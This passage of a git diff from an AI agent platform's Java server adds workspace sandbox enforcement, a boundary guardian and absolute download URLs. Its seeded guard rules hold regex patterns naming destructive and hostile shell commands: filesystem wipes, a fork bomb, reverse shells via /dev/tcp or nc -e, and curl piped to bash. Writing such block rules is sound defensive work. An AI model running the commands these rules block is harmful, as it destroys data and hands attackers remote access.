https://mateclaw.example.com}). + * When set, download links are absolute so they remain usable outside the web + * UI — IM messages, copied links, external downloads. Empty by default; the + * resolver then falls back to the current request host, and finally to a + * relative path. + */ + @Value("${mateclaw.server.public-base-url:}") + private String publicBaseUrl; + /** How often the expired-file sweep runs (6 hours). Must be a compile-time * constant for use in {@link Scheduled#fixedDelay()}. */ private static final long CLEANUP_INTERVAL_MS = 6L * 60 * 60 * 1000; @@ -61,9 +81,15 @@ public class GeneratedFileCache { /** * URL pattern for generated files served by {@code GeneratedFileController}. * Public so channel adapters and graph nodes share a single source of truth. + * + *

The leading {@code scheme://host} is optional so the pattern matches + * both the relative {@code /api/v1/files/generated/{id}} form and the + * absolute form minted when {@code mateclaw.server.public-base-url} (or a + * resolvable request host) is in play. Matching the whole absolute URL lets + * scrubbers replace it cleanly instead of leaving a dangling host fragment. */ public static final Pattern GENERATED_URL_PATTERN = - Pattern.compile("/api/v1/files/generated/([a-zA-Z0-9-]+)"); + Pattern.compile("(?:https?://[^/\\s)\\]]+)?/api/v1/files/generated/([a-zA-Z0-9-]+)"); /** * User-visible warning swapped in for a cache-miss URL. Identical @@ -128,6 +154,61 @@ public class GeneratedFileCache { return id; } + /** + * Build the download URL for a stored id. Prefers the configured + * {@code mateclaw.server.public-base-url}; otherwise derives the host from + * the current HTTP request if one is bound to this thread; otherwise returns + * a relative path (which the web UI resolves against its own origin). + * + *

Absolute links are what make a download survive leaving the web UI — + * a model that echoes the URL as plain text, a user copying the link, or an + * IM channel without a dedicated attachment rewriter. + */ + public String downloadUrl(String id) { + return downloadUrl(id, null); + } + + /** + * Build the download URL for a stored id, using the tool-call context to + * recover the request host when the call runs on an async/streaming thread. + */ + public String downloadUrl(String id, @Nullable ToolContext ctx) { + return resolveBase(ctx) + DOWNLOAD_PATH_PREFIX + id; + } + + /** Resolve the base URL prefix (no trailing slash), or "" for a relative link. */ + private String resolveBase(@Nullable ToolContext ctx) { + // 1. Operator-configured public URL wins — it's the canonical external + // host (correct behind a reverse proxy / for IM channels). + if (publicBaseUrl != null && !publicBaseUrl.isBlank()) { + return stripTrailingSlash(publicBaseUrl.trim()); + } + // 2. Request host captured on the controller thread and carried in the + // ChatOrigin — survives the hop to async/streaming tool threads. + if (ctx != null) { + String originBase = ChatOrigin.from(ctx).baseUrl(); + if (originBase != null && !originBase.isBlank()) { + return stripTrailingSlash(originBase.trim()); + } + } + // 3. Synchronous HTTP fallback: a request may still be bound to this thread. + try { + RequestAttributes attrs = RequestContextHolder.getRequestAttributes(); + if (attrs != null) { + // Honours X-Forwarded-* when ForwardedHeaderFilter is enabled. + return ServletUriComponentsBuilder.fromCurrentContextPath().build().toUriString(); + } + } catch (Exception e) { + log.debug("Could not derive request host for download URL: {}", e.toString()); + } + // 4. No host available (cron / IM without config) → relative path. + return ""; + } + + private static String stripTrailingSlash(String s) { + return s.endsWith("/") ? s.substring(0, s.length() - 1) : s; + } + /** * Look up an entry. Returns {@link Optional#empty()} if missing or expired. * Falls back to disk on an in-memory miss so links survive eviction and diff --git a/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileLink.java b/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileLink.java index f8378cec..a57eec2f 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileLink.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/document/GeneratedFileLink.java @@ -1,14 +1,18 @@ package vip.mate.tool.document; +import org.springframework.ai.chat.model.ToolContext; +import org.springframework.lang.Nullable; + /** * Stash freshly-rendered bytes into the {@link GeneratedFileCache} and format * the markdown link the tool returns to the LLM. * *

Two locales are exposed because mateclaw's existing convention has the * inline render tools speak Chinese and the file-driven render tools speak - * English. Each variant carries the "do NOT prepend a host" instruction - * because some models hallucinate a placeholder domain in front of the - * relative URL when echoing it back. + * English. Each variant tells the model to echo the URL verbatim — neither + * stripping nor inventing a host — because the URL may already be absolute + * (when {@code mateclaw.server.public-base-url} is set or a request host is + * resolvable) and models otherwise tamper with it when echoing it back. */ public final class GeneratedFileLink { @@ -21,12 +25,13 @@ public final class GeneratedFileLink { * @param typeLabel "文档" / "工作簿" / "演示文稿" */ public static String resultZh(byte[] bytes, String displayName, String mimeType, - GeneratedFileCache cache, String typeLabel) { - String url = stash(bytes, displayName, mimeType, cache); + GeneratedFileCache cache, String typeLabel, + @Nullable ToolContext ctx) { + String url = stash(bytes, displayName, mimeType, cache, ctx); return typeLabel + "已生成:[" + displayName + "](" + url + ")(链接 " + GeneratedFileCache.TTL.toDays() + " 天内有效)。\n" + "重要:回答用户时**必须**使用上述 markdown 链接格式 [" + displayName + "](" + url + ")," - + "保持相对路径原样,**不要**用反引号包裹路径,也**不要**添加任何 https://、http:// 域名前缀。"; + + "保持链接地址**原样照抄**,**不要**用反引号包裹,**不要**增删任何域名或 http(s):// 前缀。"; } /** @@ -40,22 +45,21 @@ public final class GeneratedFileLink { */ public static String resultEn(byte[] bytes, String displayName, String mimeType, GeneratedFileCache cache, String typeLabel, - int sourceFileCount) { - String url = stash(bytes, displayName, mimeType, cache); + int sourceFileCount, @Nullable ToolContext ctx) { + String url = stash(bytes, displayName, mimeType, cache, ctx); String prefix = sourceFileCount > 1 ? typeLabel + " generated from " + sourceFileCount + " files" : typeLabel + " generated"; return prefix + ": [" + displayName + "](" + url + ") (link valid for " + GeneratedFileCache.TTL.toDays() + " days).\n" + "IMPORTANT: when replying to the user you **must** keep the markdown link form [" - + displayName + "](" + url + ") above. Keep the relative path verbatim — do **not** " - + "wrap it in backticks and do **not** prepend any https://, http:// or domain " - + "(the frontend resolves the current host automatically)."; + + displayName + "](" + url + ") above. Copy the URL verbatim — do **not** wrap it " + + "in backticks and do **not** add or remove any https://, http:// or domain."; } private static String stash(byte[] bytes, String displayName, String mimeType, - GeneratedFileCache cache) { + GeneratedFileCache cache, @Nullable ToolContext ctx) { String id = cache.put(bytes, displayName, mimeType); - return "/api/v1/files/generated/" + id; + return cache.downloadUrl(id, ctx); } } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java index 3ace7861..85c30b7a 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/DefaultToolGuard.java @@ -27,7 +27,8 @@ public class DefaultToolGuard implements ToolGuard { private static final Set SHELL_TOOL_NAMES = Set.of( "execute_shell_command", "shell_execute", - "run_command" + "run_command", + "execute_code" ); /** 文件写入类工具 —— 默认需要用户审批 */ diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/WorkspacePathGuard.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/WorkspacePathGuard.java index 06cb3255..d0b329ec 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/WorkspacePathGuard.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/WorkspacePathGuard.java @@ -39,6 +39,19 @@ public final class WorkspacePathGuard { */ private static volatile Path skillRoot; + /** + * Global fallback sandbox root. When a conversation has no per-workspace + * base path configured, file and shell operations fall back to this root + * instead of running unconstrained against the whole filesystem. This is + * the fail-closed default: without it, a workspace whose {@code base_path} + * column is unset (the out-of-the-box state) leaves the agent able to read, + * write, and delete anywhere the server process can reach. Registered once + * at startup from the {@code mateclaw.workspace.sandbox.root} setting. + * {@code null} until set (then the legacy "no boundary when unconfigured" + * behaviour applies — used in tests and when the sandbox is disabled). + */ + private static volatile Path defaultRoot; + /** * Register the shared skill repository root. A {@code null} or blank path * clears it, restoring workspace-only enforcement. @@ -56,6 +69,24 @@ public final class WorkspacePathGuard { return skillRoot; } + /** + * Register the global fallback sandbox root. A {@code null} or blank path + * clears it, restoring the legacy unconstrained behaviour for conversations + * without a configured workspace base path. + */ + public static void setDefaultRoot(@Nullable String path) { + defaultRoot = (path == null || path.isBlank()) + ? null + : Paths.get(path).toAbsolutePath().normalize(); + log.info("[WorkspacePathGuard] Default sandbox root: {}", defaultRoot); + } + + /** The registered global fallback sandbox root, or {@code null} if none is set. */ + @Nullable + public static Path getDefaultRoot() { + return defaultRoot; + } + /** True when {@code normalized} lives under the shared skill root (if one is set). */ private static boolean isUnderSkillRoot(Path normalized) { Path sr = skillRoot; @@ -196,9 +227,71 @@ public final class WorkspacePathGuard { /** ToolContext-aware overload — see {@link #validateShellCommand(String)}. */ public static void validateShellCommand(String command, @Nullable ToolContext ctx) { if (command == null || command.isEmpty()) return; - String basePath = resolveBasePath(ctx); - if (basePath == null || basePath.isBlank()) return; - Path root = Paths.get(basePath).toAbsolutePath().normalize(); + scanShellCommand(command, basePathToRoot(resolveBasePath(ctx))); + } + + /** + * Non-throwing boundary check for the guard layer. Returns a human-readable + * violation reason when {@code command} escapes the workspace identified by + * {@code basePath} (or deletes its root), or {@code null} when it is in + * bounds / no boundary is configured. {@code basePath} may be blank, in + * which case the global fallback sandbox root applies (same semantics as + * {@link #validateShellCommand(String, ToolContext)}). + */ + @Nullable + public static String findShellBoundaryViolation(String command, @Nullable String basePath) { + if (command == null || command.isEmpty()) return null; + Path root = basePathToRoot(basePath); + if (root == null) return null; + try { + scanShellCommand(command, root); + return null; + } catch (IllegalArgumentException e) { + return e.getMessage(); + } + } + + /** + * Non-throwing boundary check for a single filesystem path argument (e.g. + * the {@code filePath} of write_file / edit_file). Returns a violation + * reason or {@code null} when in bounds / no boundary is configured. + */ + @Nullable + public static String findPathBoundaryViolation(String rawPath, @Nullable String basePath) { + if (rawPath == null || rawPath.isBlank()) return null; + Path root = basePathToRoot(basePath); + if (root == null) return null; + Path normalized = Paths.get(rawPath).toAbsolutePath().normalize(); + if (!normalized.startsWith(root) && !isUnderSkillRoot(normalized)) { + return "Path is outside workspace boundary: " + normalized + ", allowed root: " + root; + } + return null; + } + + /** + * Resolve a base-path string to a normalized root, falling back to the + * global sandbox root when blank. {@code null} only when neither is set. + */ + @Nullable + private static Path basePathToRoot(@Nullable String basePath) { + if (basePath != null && !basePath.isBlank()) { + return Paths.get(basePath).toAbsolutePath().normalize(); + } + return defaultRoot; + } + + private static void scanShellCommand(String command, @Nullable Path root) { + if (root == null) return; + + // A delete whose target resolves to the workspace root itself is an + // escape even though the root is "inside" its own boundary. Detected + // alongside the path scans below; this flag gates those equality checks + // so non-destructive references to the root (`ls`, `cd `) stay + // allowed. + boolean destructive = DESTRUCTIVE_VERB.matcher(command).find(); + if (destructive && DOT_ARG.matcher(command).find()) { + throw rootDeletionError(root); + } // 1. Tilde — expands to $HOME, always outside a non-$HOME workspace. if (TILDE_REF.matcher(command).find()) { @@ -244,6 +337,9 @@ public final class WorkspacePathGuard { // idioms (`2>/dev/null`, `cmd <(cat file)`) keep working. continue; } + if (destructive && normalized.equals(root)) { + throw rootDeletionError(root); + } if (!normalized.startsWith(root) && !isUnderSkillRoot(normalized)) { throw new IllegalArgumentException( "Shell command references path outside workspace boundary: " @@ -265,6 +361,9 @@ public final class WorkspacePathGuard { continue; } if (isAllowedDeviceNode(resolved)) continue; + if (destructive && resolved.equals(root)) { + throw rootDeletionError(root); + } if (!resolved.startsWith(root) && !isUnderSkillRoot(resolved)) { throw new IllegalArgumentException( "Shell command uses parent-directory traversal that escapes the workspace: '" @@ -307,6 +406,23 @@ public final class WorkspacePathGuard { private static final Pattern RELATIVE_TRAVERSAL_TOKEN = Pattern.compile( "(?:^|[\\s|&;<>(`\"'={}])((?:[^\\s|&;<>()\"'`{}=/]+/)*\\.\\.(?:/[^\\s|&;<>()\"'`{}=]*)?)(?=[\\s|&;<>)`\"'=}]|$)"); + /** + * Destructive verbs that erase whatever path follows. Used to escalate a + * delete aimed at the workspace root itself into a boundary violation: the + * normal boundary check is reflexive ({@code root startsWith root}), so a + * delete of the root would otherwise pass — yet it wipes the entire sandbox. + */ + private static final Pattern DESTRUCTIVE_VERB = Pattern.compile( + "(?:^|[\\s|&;(`])(rm|rmdir|shred|srm)(?=[\\s])"); + + /** + * A bare {@code .} or {@code ./} standalone argument — when the shell cwd is + * the workspace root, {@code rm -rf .} / {@code rm -rf ./} erases the root's + * contents just like targeting the root by absolute path. + */ + private static final Pattern DOT_ARG = Pattern.compile( + "(?:^|[\\s])(\\.|\\./)(?=[\\s]|$)"); + /** Bare tilde or tilde at the start of a path token: {@code ~}, {@code ~/foo}, {@code "~/bar"}. */ private static final Pattern TILDE_REF = Pattern.compile( "(?:^|[\\s|&;<>(`\"'={}])~(?=[/\\s|&;<>)`\"'$]|$)"); @@ -349,6 +465,12 @@ public final class WorkspacePathGuard { return s.length() > 200 ? s.substring(0, 200) + "..." : s; } + private static IllegalArgumentException rootDeletionError(Path root) { + return new IllegalArgumentException( + "Shell command would delete the workspace root directory itself: " + root + + ". Deleting the workspace root is refused — target a path inside it instead."); + } + /** * Resolve the active workspace base path. Order of preference: *

    @@ -363,6 +485,16 @@ public final class WorkspacePathGuard { return origin.workspaceBasePath(); } } - return ToolExecutionContext.workspaceBasePath(); + String legacy = ToolExecutionContext.workspaceBasePath(); + if (legacy != null && !legacy.isBlank()) { + return legacy; + } + // Fail closed: with no per-conversation workspace configured, confine + // operations to the global fallback root rather than leaving them + // unconstrained against the entire filesystem. Only null when no + // default root is registered (tests / sandbox explicitly disabled), + // in which case the legacy no-boundary behaviour is preserved. + Path dr = defaultRoot; + return dr != null ? dr.toString() : null; } } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java index 06e7b2a8..b31e0b93 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/ShellCommandGuardian.java @@ -24,7 +24,11 @@ import java.util.regex.Pattern; public class ShellCommandGuardian implements ToolGuardGuardian { private static final Set SHELL_TOOL_NAMES = Set.of( - "execute_shell_command", "shell_execute", "run_command" + "execute_shell_command", "shell_execute", "run_command", + // Inline code execution runs LLM-authored source through an + // interpreter, so it is screened against the same dangerous-command + // ruleset as direct shell execution. + "execute_code" ); private static final Map COMPILED_CACHE = new ConcurrentHashMap<>(); diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/WorkspaceBoundaryGuardian.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/WorkspaceBoundaryGuardian.java new file mode 100644 index 00000000..8afb0c22 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/guardian/WorkspaceBoundaryGuardian.java @@ -0,0 +1,114 @@ +package vip.mate.tool.guard.guardian; + +import com.fasterxml.jackson.core.type.TypeReference; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.extern.slf4j.Slf4j; +import org.springframework.stereotype.Component; +import vip.mate.tool.guard.WorkspacePathGuard; +import vip.mate.tool.guard.model.*; + +import java.util.List; +import java.util.Map; +import java.util.Set; + +/** + * Workspace filesystem-boundary guard. + *

    + * Backstops {@link WorkspacePathGuard} at the policy layer: when a shell command + * escapes the active workspace (absolute path, {@code ..} traversal, tilde/env + * expansion) or deletes the workspace root itself, this guardian emits a + * {@code CRITICAL} / {@code BLOCK} finding so the call is rejected + * before the human-approval prompt — not merely refused at execution + * time. A delete of the workspace root passes the reflexive boundary check + * ({@code root startsWith root}) yet destroys the whole sandbox, so it is + * treated as an escape. (Issue #313.) + *

    + * The boundary is read from {@link ToolInvocationContext#workspaceBasePath()}; + * when unset, the global fallback sandbox root applies via + * {@code WorkspacePathGuard}. When neither is configured, the guardian is a + * no-op and the legacy unconstrained behaviour is preserved. + */ +@Slf4j +@Component +public class WorkspaceBoundaryGuardian implements ToolGuardGuardian { + + private static final Set SHELL_TOOL_NAMES = Set.of( + "execute_shell_command", "shell_execute", "run_command" + ); + + /** File tools and their JSON path-parameter name. */ + private static final Map FILE_PATH_PARAMS = Map.of( + "read_file", "filePath", + "write_file", "filePath", + "edit_file", "filePath" + ); + + private final ObjectMapper objectMapper = new ObjectMapper(); + + @Override + public boolean supports(ToolInvocationContext context) { + String tool = context.toolName(); + return tool != null && (SHELL_TOOL_NAMES.contains(tool) || FILE_PATH_PARAMS.containsKey(tool)); + } + + /** Run before the DB-rule guardians so a boundary escape blocks early. */ + @Override + public int priority() { + return 400; + } + + @Override + public List evaluate(ToolInvocationContext context) { + String tool = context.toolName(); + String rawArgs = context.rawArguments(); + if (tool == null || rawArgs == null || rawArgs.isEmpty()) { + return List.of(); + } + String basePath = context.workspaceBasePath(); + + if (SHELL_TOOL_NAMES.contains(tool)) { + String command = extractJsonParam(rawArgs, "command"); + if (command == null) command = rawArgs; + String violation = WorkspacePathGuard.findShellBoundaryViolation(command, basePath); + if (violation != null) { + return List.of(boundaryFinding(tool, "command", command, violation)); + } + return List.of(); + } + + String paramName = FILE_PATH_PARAMS.get(tool); + if (paramName != null) { + String path = extractJsonParam(rawArgs, paramName); + String violation = WorkspacePathGuard.findPathBoundaryViolation(path, basePath); + if (violation != null) { + return List.of(boundaryFinding(tool, "path", path, violation)); + } + } + return List.of(); + } + + private GuardFinding boundaryFinding(String toolName, String paramName, String matchValue, String reason) { + return new GuardFinding( + "WORKSPACE_BOUNDARY_ESCAPE", + GuardSeverity.CRITICAL, + GuardCategory.SENSITIVE_FILE_ACCESS, + "工作区越界", + reason, + "仅在工作区目录内操作;不要访问上层目录或删除工作区根目录", + toolName, + paramName, + "workspace_boundary", + matchValue, + GuardDecision.BLOCK); + } + + private String extractJsonParam(String rawArgs, String paramName) { + try { + Map params = objectMapper.readValue(rawArgs, new TypeReference<>() {}); + Object val = params.get(paramName); + return val instanceof String s ? s : null; + } catch (Exception e) { + return null; + } + } +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/model/ToolInvocationContext.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/model/ToolInvocationContext.java index f33e6cc5..acee1055 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/model/ToolInvocationContext.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/model/ToolInvocationContext.java @@ -21,7 +21,8 @@ public record ToolInvocationContext( String agentId, String channelType, String userId, - Long workspaceId + Long workspaceId, + String workspaceBasePath ) { /** @@ -32,7 +33,7 @@ public record ToolInvocationContext( String conversationId, String agentId) { return new ToolInvocationContext( toolName, Map.of(), rawArguments, conversationId, agentId, - null, null, null); + null, null, null, null); } /** @@ -48,6 +49,18 @@ public record ToolInvocationContext( toolName, parameters != null ? parameters : Map.of(), rawArguments, conversationId, agentId, - channelType, userId, workspaceId); + channelType, userId, workspaceId, null); + } + + /** + * Return a copy carrying the active workspace base path. Used by the guard + * engine so a guardian can enforce the workspace filesystem boundary (e.g. + * refuse a shell command that escapes it or deletes its root) before + * the approval prompt, rather than only at execution time. + */ + public ToolInvocationContext withWorkspaceBasePath(String basePath) { + return new ToolInvocationContext( + toolName, parameters, rawArguments, conversationId, agentId, + channelType, userId, workspaceId, basePath); } } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java b/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java index 0a366d3b..ca44d1d0 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/guard/service/ToolGuardRuleSeedService.java @@ -344,6 +344,49 @@ public class ToolGuardRuleSeedService implements ApplicationRunner { GuardSeverity.HIGH, GuardCategory.CREDENTIAL_EXPOSURE, "NEEDS_APPROVAL", null, gf("CRED_GITHUB_TOKEN"), 140)); + // === Inline code execution (execute_code) === + // DbRuleGuardian only matches rules whose toolName equals the invoked + // tool (or is global). The destructive shell rules above are scoped to + // execute_shell_command, so they would never screen code run through + // execute_code. Mirror the key patterns for execute_code here, reusing + // the shell rules' i18n strings (gn/gf keyed by the SHELL_* ids). + rules.add(rule("CODE_RM_RF_ROOT", gn("SHELL_RM_RF_ROOT"), "rm\\s+-(rf|fr)\\s+/\\s*$", + GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK", + "execute_code", gf("SHELL_RM_RF_ROOT"), 200)); + rules.add(rule("CODE_MKFS", gn("SHELL_MKFS"), "mkfs\\b", + GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK", + "execute_code", gf("SHELL_MKFS"), 200)); + rules.add(rule("CODE_DD_DEV", gn("SHELL_DD_DEV"), "dd\\s+if=.+of=/dev/", + GuardSeverity.CRITICAL, GuardCategory.COMMAND_INJECTION, "BLOCK", + "execute_code", gf("SHELL_DD_DEV"), 200)); + rules.add(rule("CODE_FORK_BOMB", gn("SHELL_FORK_BOMB"), ":\\(\\)\\s*\\{\\s*:\\|:\\s*&\\s*\\}\\s*;\\s*:", + GuardSeverity.CRITICAL, GuardCategory.RESOURCE_ABUSE, "BLOCK", + "execute_code", gf("SHELL_FORK_BOMB"), 200)); + rules.add(rule("CODE_REVERSE_SHELL", gn("SHELL_REVERSE_SHELL"), "(/dev/tcp|\\bnc\\s+-e\\b|\\bncat\\s+-e\\b|\\bsocat\\s+EXEC:)", + GuardSeverity.CRITICAL, GuardCategory.NETWORK_ABUSE, "BLOCK", + "execute_code", gf("SHELL_REVERSE_SHELL"), 200)); + rules.add(rule("CODE_CURL_PIPE_SH", gn("SHELL_CURL_PIPE_SH"), "curl.*\\|\\s*(sh|bash|zsh)", + GuardSeverity.CRITICAL, GuardCategory.CODE_EXECUTION, "BLOCK", + "execute_code", gf("SHELL_CURL_PIPE_SH"), 200)); + rules.add(rule("CODE_WGET_PIPE_SH", gn("SHELL_WGET_PIPE_SH"), "wget.*\\|\\s*(sh|bash|zsh)", + GuardSeverity.CRITICAL, GuardCategory.CODE_EXECUTION, "BLOCK", + "execute_code", gf("SHELL_WGET_PIPE_SH"), 200)); + rules.add(rule("CODE_KILL_INIT", gn("SHELL_KILL_INIT"), "\\bkill\\s+-9\\s+1\\b", + GuardSeverity.CRITICAL, GuardCategory.RESOURCE_ABUSE, "BLOCK", + "execute_code", gf("SHELL_KILL_INIT"), 200)); + rules.add(rule("CODE_RM", gn("SHELL_RM"), "(^|[;&|]|\\s)rm\\s", + GuardSeverity.HIGH, GuardCategory.COMMAND_INJECTION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_RM"), 150)); + rules.add(rule("CODE_RM_RF", gn("SHELL_RM_RF"), "rm\\s+-(rf|fr)", + GuardSeverity.HIGH, GuardCategory.COMMAND_INJECTION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_RM_RF"), 150)); + rules.add(rule("CODE_CHMOD_777", gn("SHELL_CHMOD_777"), "chmod\\s+777", + GuardSeverity.HIGH, GuardCategory.PRIVILEGE_ESCALATION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_CHMOD_777"), 150)); + rules.add(rule("CODE_OBFUSCATED_EXEC", gn("SHELL_OBFUSCATED_EXEC"), "base64\\s+-d.*\\|\\s*(bash|sh)", + GuardSeverity.HIGH, GuardCategory.CODE_EXECUTION, "NEEDS_APPROVAL", + "execute_code", gf("SHELL_OBFUSCATED_EXEC"), 150)); + return rules; } diff --git a/mateclaw-server/src/main/java/vip/mate/tool/mcp/event/McpConnectionLostEvent.java b/mateclaw-server/src/main/java/vip/mate/tool/mcp/event/McpConnectionLostEvent.java new file mode 100644 index 00000000..ef7a0281 --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/mcp/event/McpConnectionLostEvent.java @@ -0,0 +1,25 @@ +package vip.mate.tool.mcp.event; + +/** + * Published when a previously-connected MCP server's transport is detected to + * have gone dead at runtime — either a live {@code listTools()} threw because + * the held connection went stale, or a stdio subprocess exited on its own. + * + *

    Unlike {@link McpServerChangedEvent} (which announces a state change that + * already happened), this is a request to heal: {@code McpServerService} + * listens, reloads the server config, and triggers an asynchronous reconnect + * (debounced so a crash-looping server can't spin the reconnect executor). + * + *

    Why an event rather than a direct call: {@code McpClientManager} / + * {@code CwdAwareStdioClientTransport} are pure runtime components with no DB + * access, and {@code McpServerService} already depends on the manager. Routing + * the reconnect request through {@code ApplicationEventPublisher} keeps the + * dependency one-directional and mirrors the existing + * {@link McpServerChangedEvent} pattern. + * + * @param serverId the MCP server whose connection was lost + * @param reason short human-readable cause, for logs only + * @author MateClaw Team + */ +public record McpConnectionLostEvent(Long serverId, String reason) { +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/mcp/event/McpServerChangedEvent.java b/mateclaw-server/src/main/java/vip/mate/tool/mcp/event/McpServerChangedEvent.java new file mode 100644 index 00000000..277dc4ad --- /dev/null +++ b/mateclaw-server/src/main/java/vip/mate/tool/mcp/event/McpServerChangedEvent.java @@ -0,0 +1,24 @@ +package vip.mate.tool.mcp.event; + +/** + * Published whenever an MCP server's connection state changes — + * connected, disconnected, reconnected, removed, or a (re)connect attempt + * failed. The set of tools available to agents shifts on every one of these + * transitions. + * + *

    {@code AgentService} listens for this event and clears its agent-instance + * cache, so the next chat turn rebuilds the agent graph against the current + * live MCP tool set. Without this, an agent built before a server connected + * (or while it was down) keeps a stale, tool-less snapshot until the process + * restarts — see issue #289. + * + *

    Mirrors the existing {@code ModelConfigChangedEvent} / + * {@code ToolGuardConfigChangedEvent} pattern: the publisher (McpServerService) + * depends only on {@code ApplicationEventPublisher}, avoiding a circular + * dependency on AgentService. + * + * @param reason short human-readable cause, for logs only + * @author MateClaw Team + */ +public record McpServerChangedEvent(String reason) { +} diff --git a/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/CwdAwareStdioClientTransport.java b/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/CwdAwareStdioClientTransport.java index 36a7e86c..0d948899 100644 --- a/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/CwdAwareStdioClientTransport.java +++ b/mateclaw-server/src/main/java/vip/mate/tool/mcp/runtime/CwdAwareStdioClientTransport.java @@ -3,12 +3,25 @@ package vip.mate.tool.mcp.runtime; import io.modelcontextprotocol.client.transport.ServerParameters; import io.modelcontextprotocol.client.transport.StdioClientTransport; import io.modelcontextprotocol.json.McpJsonMapper; +import io.modelcontextprotocol.spec.McpSchema; import lombok.extern.slf4j.Slf4j; +import reactor.core.publisher.Mono; +import reactor.core.publisher.Sinks; +import reactor.core.scheduler.Schedulers; +import java.io.BufferedReader; import java.io.File; +import java.io.InputStreamReader; +import java.lang.reflect.Field; +import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Path; +import java.util.ArrayList; +import java.util.List; import java.util.Map; +import java.util.concurrent.CopyOnWriteArrayList; +import java.util.concurrent.TimeUnit; +import java.util.function.Function; /** * Enhanced stdio MCP transport with: @@ -16,6 +29,9 @@ import java.util.Map; *

  1. Working directory (cwd) support
  2. *
  3. Automatic PATH enrichment for Desktop app environments where * Node.js/npx may not be in the JRE process's PATH
  4. + *
  5. Resilient inbound processing: non-JSON lines from the server + * (e.g. debug output) are skipped instead of killing the + * inbound reader thread
  6. * */ @Slf4j @@ -23,18 +39,34 @@ public class CwdAwareStdioClientTransport extends StdioClientTransport { private final String cwd; + /** The child process started by this override's {@link #connect}, retained so + * {@link #closeGracefully()} can terminate it — the parent's private + * {@code process} field is never set by our override and so the parent's + * shutdown would otherwise orphan the child. */ + private volatile Process startedProcess; + + /** Cooperative-shutdown flag checked by the reader loops, mirroring the + * parent's own {@code isClosing} signal (which our override bypasses). */ + private volatile boolean closing = false; + + /** Invoked when the child process exits while {@link #closing} is still + * {@code false} — i.e. the server died on its own rather than being torn + * down by {@link #closeGracefully()}. Lets the manager request a reconnect. + * Null until armed by the manager for a long-lived (non-test) client. */ + private volatile Runnable onUnexpectedExit; + + /** I/O threads spawned by {@link #connect}, interrupted on shutdown. */ + private final List ioThreads = new CopyOnWriteArrayList<>(); + /** Common Node.js installation paths across platforms */ private static final String[] NODE_PATH_CANDIDATES = { // macOS Homebrew "/usr/local/bin", "/opt/homebrew/bin", - // macOS nvm + // nvm (current symlink) System.getProperty("user.home") + "/.nvm/current/bin", // Linux common "/usr/bin", - "/usr/local/bin", - // Linux nvm - System.getProperty("user.home") + "/.nvm/current/bin", // Windows common System.getenv("APPDATA") != null ? System.getenv("APPDATA") + "\\npm" : "", "C:\\Program Files\\nodejs", @@ -52,6 +84,264 @@ public class CwdAwareStdioClientTransport extends StdioClientTransport { this.cwd = cwd; } + /** + * Arm a callback fired when the child process exits unexpectedly (not via + * {@link #closeGracefully()}). The manager uses this to request an + * asynchronous reconnect — stdio is the one transport the MCP SDK cannot + * self-heal, because a dead subprocess can only be recovered by respawning + * it, which the SDK's lazy re-initialization never does. + */ + public void setOnUnexpectedExit(Runnable handler) { + this.onUnexpectedExit = handler; + } + + /** + * Override parent {@code connect()} to add resilient inbound processing. + * + *

    The upstream {@link StdioClientTransport} breaks out of its inbound + * read loop on any JSON parse error, killing the reader thread permanently. + * Some MCP servers write non-JSON debug output to stdout (e.g. + * {@code "=== Document parser messages ==="}), which triggers this and + * causes subsequent valid JSON-RPC responses to be lost → 30 s timeout. + * + *

